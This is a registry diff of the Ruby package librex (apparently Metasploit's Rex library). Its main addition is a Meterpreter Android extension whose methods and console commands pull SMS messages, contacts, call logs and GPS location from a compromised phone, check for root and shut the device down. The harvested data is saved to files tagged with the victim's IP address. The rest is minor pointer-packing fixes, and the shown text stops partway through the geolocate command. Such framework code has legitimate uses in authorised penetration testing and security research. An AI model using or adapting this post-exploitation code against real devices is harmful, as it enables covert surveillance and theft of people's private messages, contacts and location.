librex 0.0.70 → 0.0.71
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +5 -13
- data/README.markdown +5 -10
- data/Rakefile +1 -1
- data/lib/rex/arch.rb +1 -1
- data/lib/rex/encoder/bloxor/bloxor.rb +1 -0
- data/lib/rex/encoder/ndr.rb +1 -1
- data/lib/rex/exploitation/heaplib.rb +4 -2
- data/lib/rex/exploitation/powershell.rb +62 -0
- data/lib/rex/exploitation/powershell/function.rb +63 -0
- data/lib/rex/exploitation/powershell/obfu.rb +98 -0
- data/lib/rex/exploitation/powershell/output.rb +151 -0
- data/lib/rex/exploitation/powershell/param.rb +23 -0
- data/lib/rex/exploitation/powershell/parser.rb +183 -0
- data/lib/rex/exploitation/powershell/psh_methods.rb +70 -0
- data/lib/rex/exploitation/powershell/script.rb +99 -0
- data/lib/rex/exploitation/ropdb.rb +1 -0
- data/lib/rex/mac_oui.rb +1 -0
- data/lib/rex/ole/util.rb +2 -2
- data/lib/rex/parser/group_policy_preferences.rb +185 -0
- data/lib/rex/parser/outpost24_nokogiri.rb +1 -0
- data/lib/rex/poly/machine.rb +1 -0
- data/lib/rex/poly/machine/machine.rb +1 -0
- data/lib/rex/poly/machine/x86.rb +1 -0
- data/lib/rex/post/meterpreter/extensions/android/android.rb +128 -0
- data/lib/rex/post/meterpreter/extensions/android/tlv.rb +40 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_psapi.rb +32 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +6 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +4 -4
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +2 -1
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb +4 -4
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb +4 -4
- data/lib/rex/post/meterpreter/packet.rb +3 -3
- data/lib/rex/post/meterpreter/ui/console.rb +2 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +383 -0
- data/lib/rex/proto/dcerpc/ndr.rb +1 -1
- data/lib/rex/proto/ipmi/channel_auth_reply.rb +1 -0
- data/lib/rex/proto/ipmi/open_session_reply.rb +1 -0
- data/lib/rex/proto/ipmi/rakp2.rb +1 -0
- data/lib/rex/proto/natpmp/packet.rb +8 -8
- data/lib/rex/proto/ntp.rb +3 -0
- data/lib/rex/proto/ntp/constants.rb +12 -0
- data/lib/rex/proto/ntp/modes.rb +130 -0
- data/lib/rex/proto/pjl.rb +1 -0
- data/lib/rex/proto/pjl/client.rb +1 -0
- data/lib/rex/proto/sip.rb +4 -0
- data/lib/rex/proto/sip/response.rb +61 -0
- data/lib/rex/proto/smb/exceptions.rb +11 -3
- data/lib/rex/random_identifier_generator.rb +1 -0
- data/lib/rex/registry/lfkey.rb +1 -1
- data/lib/rex/registry/nodekey.rb +10 -10
- data/lib/rex/registry/valuekey.rb +5 -5
- data/lib/rex/registry/valuelist.rb +1 -1
- data/lib/rex/socket/ip.rb +1 -0
- data/lib/rex/sslscan/result.rb +1 -0
- data/lib/rex/sslscan/scanner.rb +1 -0
- data/lib/rex/text.rb +2 -13
- data/lib/rex/ui/text/output/buffer/stdout.rb +1 -0
- data/lib/rex/ui/text/table.rb +4 -4
- metadata +23 -4
data/lib/rex/poly/machine.rb
CHANGED
data/lib/rex/poly/machine/x86.rb
CHANGED
@@ -0,0 +1,128 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
# -*- coding: binary -*-
|
3
|
+
require 'rex/post/meterpreter/extensions/android/tlv'
|
4
|
+
require 'rex/post/meterpreter/packet'
|
5
|
+
require 'rex/post/meterpreter/client'
|
6
|
+
require 'rex/post/meterpreter/channels/pools/stream_pool'
|
7
|
+
|
8
|
+
|
9
|
+
module Rex
|
10
|
+
module Post
|
11
|
+
module Meterpreter
|
12
|
+
module Extensions
|
13
|
+
module Android
|
14
|
+
|
15
|
+
###
|
16
|
+
# Android extension - set of commands to be executed on android devices.
|
17
|
+
# extension by Anwar Mohamed (@anwarelmakrahy)
|
18
|
+
###
|
19
|
+
|
20
|
+
|
21
|
+
class Android < Extension
|
22
|
+
|
23
|
+
def initialize(client)
|
24
|
+
super(client, 'android')
|
25
|
+
|
26
|
+
# Alias the following things on the client object so that they
|
27
|
+
# can be directly referenced
|
28
|
+
client.register_extension_aliases(
|
29
|
+
[
|
30
|
+
{
|
31
|
+
'name' => 'android',
|
32
|
+
'ext' => self
|
33
|
+
},
|
34
|
+
])
|
35
|
+
end
|
36
|
+
|
37
|
+
def device_shutdown(n)
|
38
|
+
request = Packet.create_request('device_shutdown')
|
39
|
+
request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
|
40
|
+
response = client.send_request(request)
|
41
|
+
return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
|
42
|
+
end
|
43
|
+
|
44
|
+
def dump_sms
|
45
|
+
sms = Array.new
|
46
|
+
request = Packet.create_request('dump_sms')
|
47
|
+
response = client.send_request(request)
|
48
|
+
|
49
|
+
response.each( TLV_TYPE_SMS_GROUP ) { |p|
|
50
|
+
|
51
|
+
sms <<
|
52
|
+
{
|
53
|
+
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
|
54
|
+
'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
|
55
|
+
'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
|
56
|
+
'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
|
57
|
+
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
|
58
|
+
}
|
59
|
+
|
60
|
+
}
|
61
|
+
return sms
|
62
|
+
end
|
63
|
+
|
64
|
+
def dump_contacts
|
65
|
+
contacts = Array.new
|
66
|
+
request = Packet.create_request('dump_contacts')
|
67
|
+
response = client.send_request(request)
|
68
|
+
|
69
|
+
response.each( TLV_TYPE_CONTACT_GROUP ) { |p|
|
70
|
+
|
71
|
+
contacts <<
|
72
|
+
{
|
73
|
+
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
|
74
|
+
'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
|
75
|
+
'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
|
76
|
+
}
|
77
|
+
|
78
|
+
}
|
79
|
+
return contacts
|
80
|
+
end
|
81
|
+
|
82
|
+
def geolocate
|
83
|
+
|
84
|
+
loc = Array.new
|
85
|
+
request = Packet.create_request('geolocate')
|
86
|
+
response = client.send_request(request)
|
87
|
+
|
88
|
+
loc <<
|
89
|
+
{
|
90
|
+
'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
|
91
|
+
'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
|
92
|
+
}
|
93
|
+
|
94
|
+
return loc
|
95
|
+
end
|
96
|
+
|
97
|
+
def dump_calllog
|
98
|
+
log = Array.new
|
99
|
+
request = Packet.create_request('dump_calllog')
|
100
|
+
response = client.send_request(request)
|
101
|
+
|
102
|
+
response.each(TLV_TYPE_CALLLOG_GROUP) { |p|
|
103
|
+
|
104
|
+
log <<
|
105
|
+
{
|
106
|
+
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
|
107
|
+
'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
|
108
|
+
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
|
109
|
+
'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
|
110
|
+
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
|
111
|
+
}
|
112
|
+
|
113
|
+
}
|
114
|
+
return log
|
115
|
+
end
|
116
|
+
|
117
|
+
def check_root
|
118
|
+
request = Packet.create_request('check_root')
|
119
|
+
response = client.send_request(request)
|
120
|
+
response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
|
121
|
+
end
|
122
|
+
end
|
123
|
+
|
124
|
+
end
|
125
|
+
end
|
126
|
+
end
|
127
|
+
end
|
128
|
+
end
|
@@ -0,0 +1,40 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
# -*- coding: binary -*-
|
3
|
+
|
4
|
+
module Rex
|
5
|
+
module Post
|
6
|
+
module Meterpreter
|
7
|
+
module Extensions
|
8
|
+
module Android
|
9
|
+
|
10
|
+
TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001)
|
11
|
+
TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002)
|
12
|
+
TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003)
|
13
|
+
TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004)
|
14
|
+
TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005)
|
15
|
+
TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006)
|
16
|
+
|
17
|
+
TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007)
|
18
|
+
TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008)
|
19
|
+
TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009)
|
20
|
+
TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010)
|
21
|
+
|
22
|
+
TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011)
|
23
|
+
TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012)
|
24
|
+
|
25
|
+
TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013)
|
26
|
+
TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014)
|
27
|
+
TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015)
|
28
|
+
TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016)
|
29
|
+
TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017)
|
30
|
+
TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018)
|
31
|
+
|
32
|
+
TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019)
|
33
|
+
|
34
|
+
TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020)
|
35
|
+
|
36
|
+
end
|
37
|
+
end
|
38
|
+
end
|
39
|
+
end
|
40
|
+
end
|
@@ -0,0 +1,32 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
module Rex
|
3
|
+
module Post
|
4
|
+
module Meterpreter
|
5
|
+
module Extensions
|
6
|
+
module Stdapi
|
7
|
+
module Railgun
|
8
|
+
module Def
|
9
|
+
|
10
|
+
class Def_psapi
|
11
|
+
|
12
|
+
def self.create_dll(dll_path = 'psapi')
|
13
|
+
dll = DLL.new(dll_path, ApiConstants.manager)
|
14
|
+
|
15
|
+
dll.add_function('EnumDeviceDrivers', 'BOOL',[
|
16
|
+
%w(PBLOB lpImageBase out),
|
17
|
+
%w(DWORD cb in),
|
18
|
+
%w(PDWORD lpcbNeeded out)
|
19
|
+
])
|
20
|
+
|
21
|
+
dll.add_function('GetDeviceDriverBaseNameA', 'DWORD', [
|
22
|
+
%w(LPVOID ImageBase in),
|
23
|
+
%w(PBLOB lpBaseName out),
|
24
|
+
%w(DWORD nSize in)
|
25
|
+
])
|
26
|
+
|
27
|
+
return dll
|
28
|
+
end
|
29
|
+
|
30
|
+
end
|
31
|
+
|
32
|
+
end; end; end; end; end; end; end
|
@@ -120,7 +120,7 @@ class DLL
|
|
120
120
|
raise "#{function.params.length} arguments expected. #{args.length} arguments provided." unless args.length == function.params.length
|
121
121
|
|
122
122
|
if( client.platform =~ /x64/i )
|
123
|
-
native = 'Q'
|
123
|
+
native = 'Q<'
|
124
124
|
else
|
125
125
|
native = 'V'
|
126
126
|
end
|
@@ -153,12 +153,12 @@ class DLL
|
|
153
153
|
buffer_size = args[param_idx]
|
154
154
|
if param_desc[0] == "PDWORD"
|
155
155
|
# bump up the size for an x64 pointer
|
156
|
-
if( native == 'Q' and buffer_size == 4 )
|
156
|
+
if( native == 'Q<' and buffer_size == 4 )
|
157
157
|
args[param_idx] = 8
|
158
158
|
buffer_size = args[param_idx]
|
159
159
|
end
|
160
160
|
|
161
|
-
if( native == 'Q' )
|
161
|
+
if( native == 'Q<' )
|
162
162
|
raise "Please pass 8 for 'out' PDWORDS, since they require a buffer of size 8" unless buffer_size == 8
|
163
163
|
elsif( native == 'V' )
|
164
164
|
raise "Please pass 4 for 'out' PDWORDS, since they require a buffer of size 4" unless buffer_size == 4
|
@@ -288,7 +288,7 @@ class DLL
|
|
288
288
|
#process return value
|
289
289
|
case function.return_type
|
290
290
|
when "LPVOID", "HANDLE"
|
291
|
-
if( native == 'Q' )
|
291
|
+
if( native == 'Q<' )
|
292
292
|
return_hash["return"] = rec_return_value
|
293
293
|
else
|
294
294
|
return_hash["return"] = rec_return_value % 4294967296
|
@@ -318,7 +318,7 @@ class DLL
|
|
318
318
|
buffer = rec_out_only_buffers[buffer_item.addr, buffer_item.length_in_bytes]
|
319
319
|
case buffer_item.datatype
|
320
320
|
when "PDWORD"
|
321
|
-
return_hash[param_name] = buffer.unpack(
|
321
|
+
return_hash[param_name] = buffer.unpack(native)[0]
|
322
322
|
when "PCHAR"
|
323
323
|
return_hash[param_name] = asciiz_to_str(buffer)
|
324
324
|
when "PWCHAR"
|
@@ -338,7 +338,7 @@ class DLL
|
|
338
338
|
buffer = rec_inout_buffers[buffer_item.addr, buffer_item.length_in_bytes]
|
339
339
|
case buffer_item.datatype
|
340
340
|
when "PDWORD"
|
341
|
-
return_hash[param_name] = buffer.unpack(
|
341
|
+
return_hash[param_name] = buffer.unpack(native)[0]
|
342
342
|
when "PCHAR"
|
343
343
|
return_hash[param_name] = asciiz_to_str(buffer)
|
344
344
|
when "PWCHAR"
|
@@ -50,7 +50,7 @@ class MultiCaller
|
|
50
50
|
@win_consts = win_consts
|
51
51
|
|
52
52
|
if( @client.platform =~ /x64/i )
|
53
|
-
@native = 'Q'
|
53
|
+
@native = 'Q<'
|
54
54
|
else
|
55
55
|
@native = 'V'
|
56
56
|
end
|
@@ -102,12 +102,12 @@ class MultiCaller
|
|
102
102
|
raise "error in param #{param_desc[1]}: Out-only buffers must be described by a number indicating their size in bytes " unless args[param_idx].class == Fixnum
|
103
103
|
buffer_size = args[param_idx]
|
104
104
|
# bump up the size for an x64 pointer
|
105
|
-
if( @native == 'Q' and buffer_size == 4 )
|
105
|
+
if( @native == 'Q<' and buffer_size == 4 )
|
106
106
|
args[param_idx] = 8
|
107
107
|
buffer_size = args[param_idx]
|
108
108
|
end
|
109
109
|
|
110
|
-
if( @native == 'Q' )
|
110
|
+
if( @native == 'Q<' )
|
111
111
|
raise "Please pass 8 for 'out' PDWORDS, since they require a buffer of size 8" unless buffer_size == 8
|
112
112
|
elsif( @native == 'V' )
|
113
113
|
raise "Please pass 4 for 'out' PDWORDS, since they require a buffer of size 4" unless buffer_size == 4
|
@@ -242,7 +242,7 @@ class MultiCaller
|
|
242
242
|
#process return value
|
243
243
|
case function.return_type
|
244
244
|
when "LPVOID", "HANDLE"
|
245
|
-
if( @native == 'Q' )
|
245
|
+
if( @native == 'Q<' )
|
246
246
|
return_hash["return"] = rec_return_value
|
247
247
|
else
|
248
248
|
return_hash["return"] = rec_return_value % 4294967296
|
@@ -27,8 +27,8 @@ module PointerUtil
|
|
27
27
|
|
28
28
|
case platform
|
29
29
|
when PlatformUtil::X86_64
|
30
|
-
#
|
31
|
-
[pointer].pack('Q')
|
30
|
+
# Assume little endian
|
31
|
+
[pointer].pack('Q<')
|
32
32
|
when PlatformUtil::X86_32
|
33
33
|
[pointer].pack('V')
|
34
34
|
else
|
@@ -40,8 +40,8 @@ module PointerUtil
|
|
40
40
|
def self.unpack_pointer(packed_pointer, platform)
|
41
41
|
case platform
|
42
42
|
when PlatformUtil::X86_64
|
43
|
-
#
|
44
|
-
packed_pointer.unpack('Q').first
|
43
|
+
# Assume little endian
|
44
|
+
packed_pointer.unpack('Q<').first
|
45
45
|
when PlatformUtil::X86_32
|
46
46
|
packed_pointer.unpack('V').first
|
47
47
|
else
|
@@ -324,8 +324,8 @@ class Util
|
|
324
324
|
#
|
325
325
|
def unpack_pointer(packed_pointer)
|
326
326
|
if is_64bit
|
327
|
-
#
|
328
|
-
packed_pointer.unpack('Q')[0]
|
327
|
+
# Assume little endian
|
328
|
+
packed_pointer.unpack('Q<')[0]
|
329
329
|
else
|
330
330
|
packed_pointer.unpack('V')[0]
|
331
331
|
end
|
@@ -452,9 +452,9 @@ class Util
|
|
452
452
|
# Both on x86 and x64, DWORD is 32 bits
|
453
453
|
return raw.unpack('V').first
|
454
454
|
when :BOOL
|
455
|
-
return raw.unpack('
|
455
|
+
return raw.unpack('V').first == 1
|
456
456
|
when :LONG
|
457
|
-
return raw.unpack('
|
457
|
+
return raw.unpack('V').first
|
458
458
|
end
|
459
459
|
|
460
460
|
#If nothing worked thus far, return it raw
|
@@ -251,7 +251,7 @@ class Tlv
|
|
251
251
|
elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
|
252
252
|
raw = [value].pack("N")
|
253
253
|
elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD)
|
254
|
-
raw = [ self.htonq( value.to_i ) ].pack("Q")
|
254
|
+
raw = [ self.htonq( value.to_i ) ].pack("Q<")
|
255
255
|
elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
|
256
256
|
if (value == true)
|
257
257
|
raw = [1].pack("c")
|
@@ -312,7 +312,7 @@ class Tlv
|
|
312
312
|
elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
|
313
313
|
self.value = raw.unpack("NNN")[2]
|
314
314
|
elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD)
|
315
|
-
self.value = raw.unpack("NNQ")[2]
|
315
|
+
self.value = raw.unpack("NNQ<")[2]
|
316
316
|
self.value = self.ntohq( self.value )
|
317
317
|
elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
|
318
318
|
self.value = raw.unpack("NNc")[2]
|
@@ -335,7 +335,7 @@ class Tlv
|
|
335
335
|
if( [1].pack( 's' ) == [1].pack( 'n' ) )
|
336
336
|
return value
|
337
337
|
end
|
338
|
-
return [ value ].pack( 'Q' ).reverse.unpack( 'Q' ).first
|
338
|
+
return [ value ].pack( 'Q<' ).reverse.unpack( 'Q<' ).first
|
339
339
|
end
|
340
340
|
|
341
341
|
def ntohq( value )
|
@@ -106,6 +106,8 @@ class Console
|
|
106
106
|
log_error("Operation timed out.")
|
107
107
|
rescue RequestError => info
|
108
108
|
log_error(info.to_s)
|
109
|
+
rescue Rex::AddressInUse => e
|
110
|
+
log_error(e.message)
|
109
111
|
rescue ::Errno::EPIPE, ::OpenSSL::SSL::SSLError, ::IOError
|
110
112
|
self.client.kill
|
111
113
|
rescue ::Exception => e
|
@@ -0,0 +1,383 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
require 'rex/post/meterpreter'
|
3
|
+
require 'msf/core/auxiliary/report'
|
4
|
+
|
5
|
+
module Rex
|
6
|
+
module Post
|
7
|
+
module Meterpreter
|
8
|
+
module Ui
|
9
|
+
|
10
|
+
###
|
11
|
+
# Android extension - set of commands to be executed on android devices.
|
12
|
+
# extension by Anwar Mohamed (@anwarelmakrahy)
|
13
|
+
###
|
14
|
+
|
15
|
+
class Console::CommandDispatcher::Android
|
16
|
+
include Console::CommandDispatcher
|
17
|
+
include Msf::Auxiliary::Report
|
18
|
+
|
19
|
+
#
|
20
|
+
# List of supported commands.
|
21
|
+
#
|
22
|
+
def commands
|
23
|
+
all = {
|
24
|
+
'dump_sms' => 'Get sms messages',
|
25
|
+
'dump_contacts' => 'Get contacts list',
|
26
|
+
'geolocate' => 'Get current lat-long using geolocation',
|
27
|
+
'dump_calllog' => 'Get call log',
|
28
|
+
'check_root' => 'Check if device is rooted',
|
29
|
+
'device_shutdown' => 'Shutdown device'
|
30
|
+
}
|
31
|
+
|
32
|
+
reqs = {
|
33
|
+
'dump_sms' => [ 'dump_sms' ],
|
34
|
+
'dump_contacts' => [ 'dump_contacts' ],
|
35
|
+
'geolocate' => [ 'geolocate' ],
|
36
|
+
'dump_calllog' => [ 'dump_calllog' ],
|
37
|
+
'check_root' => [ 'check_root' ],
|
38
|
+
'device_shutdown' => [ 'device_shutdown']
|
39
|
+
}
|
40
|
+
|
41
|
+
# Ensure any requirements of the command are met
|
42
|
+
all.delete_if do |cmd, desc|
|
43
|
+
reqs[cmd].any? { |req| not client.commands.include?(req) }
|
44
|
+
end
|
45
|
+
end
|
46
|
+
|
47
|
+
def cmd_device_shutdown(*args)
|
48
|
+
|
49
|
+
seconds = 0
|
50
|
+
device_shutdown_opts = Rex::Parser::Arguments.new(
|
51
|
+
'-h' => [ false, 'Help Banner' ],
|
52
|
+
'-t' => [ false, 'Shutdown after n seconds']
|
53
|
+
)
|
54
|
+
|
55
|
+
device_shutdown_opts.parse(args) { | opt, idx, val |
|
56
|
+
case opt
|
57
|
+
when '-h'
|
58
|
+
print_line('Usage: device_shutdown [options]')
|
59
|
+
print_line('Shutdown device.')
|
60
|
+
print_line(device_shutdown_opts.usage)
|
61
|
+
return
|
62
|
+
when '-t'
|
63
|
+
seconds = val.to_i
|
64
|
+
end
|
65
|
+
}
|
66
|
+
|
67
|
+
res = client.android.device_shutdown(seconds)
|
68
|
+
|
69
|
+
if res
|
70
|
+
print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}")
|
71
|
+
else
|
72
|
+
print_error('Device shutdown failed')
|
73
|
+
end
|
74
|
+
end
|
75
|
+
|
76
|
+
def cmd_dump_sms(*args)
|
77
|
+
|
78
|
+
path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
79
|
+
dump_sms_opts = Rex::Parser::Arguments.new(
|
80
|
+
'-h' => [ false, 'Help Banner' ],
|
81
|
+
'-o' => [ false, 'Output path for sms list']
|
82
|
+
)
|
83
|
+
|
84
|
+
dump_sms_opts.parse(args) { | opt, idx, val |
|
85
|
+
case opt
|
86
|
+
when '-h'
|
87
|
+
print_line('Usage: dump_sms [options]')
|
88
|
+
print_line('Get sms messages.')
|
89
|
+
print_line(dump_sms_opts.usage)
|
90
|
+
return
|
91
|
+
when '-o'
|
92
|
+
path = val
|
93
|
+
end
|
94
|
+
}
|
95
|
+
|
96
|
+
smsList = []
|
97
|
+
smsList = client.android.dump_sms
|
98
|
+
|
99
|
+
if smsList.count > 0
|
100
|
+
print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}")
|
101
|
+
begin
|
102
|
+
info = client.sys.config.sysinfo
|
103
|
+
|
104
|
+
data = ""
|
105
|
+
data << "\n=====================\n"
|
106
|
+
data << "[+] Sms messages dump\n"
|
107
|
+
data << "=====================\n\n"
|
108
|
+
|
109
|
+
time = Time.new
|
110
|
+
data << "Date: #{time.inspect}\n"
|
111
|
+
data << "OS: #{info['OS']}\n"
|
112
|
+
data << "Remote IP: #{client.sock.peerhost}\n"
|
113
|
+
data << "Remote Port: #{client.sock.peerport}\n\n"
|
114
|
+
|
115
|
+
smsList.each_with_index { |a, index|
|
116
|
+
|
117
|
+
data << "##{index.to_i + 1}\n"
|
118
|
+
|
119
|
+
type = 'Unknown'
|
120
|
+
if a['type'] == '1'
|
121
|
+
type = 'Incoming'
|
122
|
+
elsif a['type'] == '2'
|
123
|
+
type = 'Outgoing'
|
124
|
+
end
|
125
|
+
|
126
|
+
status = 'Unknown'
|
127
|
+
if a['status'] == '-1'
|
128
|
+
status = 'NOT_RECEIVED'
|
129
|
+
elsif a['status'] == '1'
|
130
|
+
status = 'SME_UNABLE_TO_CONFIRM'
|
131
|
+
elsif a['status'] == '0'
|
132
|
+
status = 'SUCCESS'
|
133
|
+
elsif a['status'] == '64'
|
134
|
+
status = 'MASK_PERMANENT_ERROR'
|
135
|
+
elsif a['status'] == '32'
|
136
|
+
status = 'MASK_TEMPORARY_ERROR'
|
137
|
+
elsif a['status'] == '2'
|
138
|
+
status = 'SMS_REPLACED_BY_SC'
|
139
|
+
end
|
140
|
+
|
141
|
+
data << "Type\t: #{type}\n"
|
142
|
+
|
143
|
+
time = a['date'].to_i / 1000
|
144
|
+
time = Time.at(time)
|
145
|
+
|
146
|
+
data << "Date\t: #{time.strftime('%Y-%m-%d %H:%M:%S')}\n"
|
147
|
+
data << "Address\t: #{a['address']}\n"
|
148
|
+
data << "Status\t: #{status}\n"
|
149
|
+
data << "Message\t: #{a['body']}\n\n"
|
150
|
+
}
|
151
|
+
|
152
|
+
::File.write(path, data)
|
153
|
+
print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}")
|
154
|
+
|
155
|
+
return true
|
156
|
+
rescue
|
157
|
+
print_error("Error getting messages: #{$!}")
|
158
|
+
return false
|
159
|
+
end
|
160
|
+
else
|
161
|
+
print_status('No sms messages were found!')
|
162
|
+
return false
|
163
|
+
end
|
164
|
+
end
|
165
|
+
|
166
|
+
|
167
|
+
def cmd_dump_contacts(*args)
|
168
|
+
|
169
|
+
path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
170
|
+
dump_contacts_opts = Rex::Parser::Arguments.new(
|
171
|
+
|
172
|
+
'-h' => [ false, 'Help Banner' ],
|
173
|
+
'-o' => [ false, 'Output path for contacts list']
|
174
|
+
|
175
|
+
)
|
176
|
+
|
177
|
+
dump_contacts_opts.parse(args) { | opt, idx, val |
|
178
|
+
case opt
|
179
|
+
when '-h'
|
180
|
+
print_line('Usage: dump_contacts [options]')
|
181
|
+
print_line('Get contacts list.')
|
182
|
+
print_line(dump_contacts_opts.usage)
|
183
|
+
return
|
184
|
+
when '-o'
|
185
|
+
path = val
|
186
|
+
end
|
187
|
+
}
|
188
|
+
|
189
|
+
contactList = []
|
190
|
+
contactList = client.android.dump_contacts
|
191
|
+
|
192
|
+
if contactList.count > 0
|
193
|
+
print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list")
|
194
|
+
begin
|
195
|
+
info = client.sys.config.sysinfo
|
196
|
+
|
197
|
+
data = ""
|
198
|
+
data << "\n======================\n"
|
199
|
+
data << "[+] Contacts list dump\n"
|
200
|
+
data << "======================\n\n"
|
201
|
+
|
202
|
+
time = Time.new
|
203
|
+
data << "Date: #{time.inspect}\n"
|
204
|
+
data << "OS: #{info['OS']}\n"
|
205
|
+
data << "Remote IP: #{client.sock.peerhost}\n"
|
206
|
+
data << "Remote Port: #{client.sock.peerport}\n\n"
|
207
|
+
|
208
|
+
contactList.each_with_index { |c, index|
|
209
|
+
|
210
|
+
data << "##{index.to_i + 1}\n"
|
211
|
+
data << "Name\t: #{c['name']}\n"
|
212
|
+
|
213
|
+
if c['number'].count > 0
|
214
|
+
(c['number']).each { |n|
|
215
|
+
data << "Number\t: #{n}\n"
|
216
|
+
}
|
217
|
+
end
|
218
|
+
|
219
|
+
if c['email'].count > 0
|
220
|
+
(c['email']).each { |n|
|
221
|
+
data << "Email\t: #{n}\n"
|
222
|
+
}
|
223
|
+
end
|
224
|
+
|
225
|
+
data << "\n"
|
226
|
+
}
|
227
|
+
|
228
|
+
::File.write(path, data)
|
229
|
+
print_status("Contacts list saved to: #{path}")
|
230
|
+
|
231
|
+
return true
|
232
|
+
rescue
|
233
|
+
print_error("Error getting contacts list: #{$!}")
|
234
|
+
return false
|
235
|
+
end
|
236
|
+
else
|
237
|
+
print_status('No contacts were found!')
|
238
|
+
return false
|
239
|
+
end
|
240
|
+
end
|
241
|
+
|
242
|
+
def cmd_geolocate(*args)
|
243
|
+
|
244
|
+
generate_map = false
|
245
|
+
geolocate_opts = Rex::Parser::Arguments.new(
|
246
|
+
|
247
|
+
'-h' => [ false, 'Help Banner' ],
|
248
|
+
'-g' => [ false, 'Generate map using google-maps']
|
249
|
+
|
250
|
+
)
|
251
|
+
|
252
|
+
geolocate_opts.parse(args) { | opt, idx, val |
|
253
|
+
case opt
|
254
|
+
when '-h'
|
255
|
+
print_line('Usage: geolocate [options]')
|
256
|
+
print_line('Get current location using geolocation.')
|
257
|
+
print_line(geolocate_opts.usage)
|
258
|
+
return
|
259
|
+
when '-g'
|
260
|
+
generate_map = true
|
261
|
+
end
|
262
|
+
}
|
263
|
+
|
264
|
+
geo = client.android.geolocate
|
265
|
+
|
266
|
+
print_status('Current Location:')
|
267
|
+
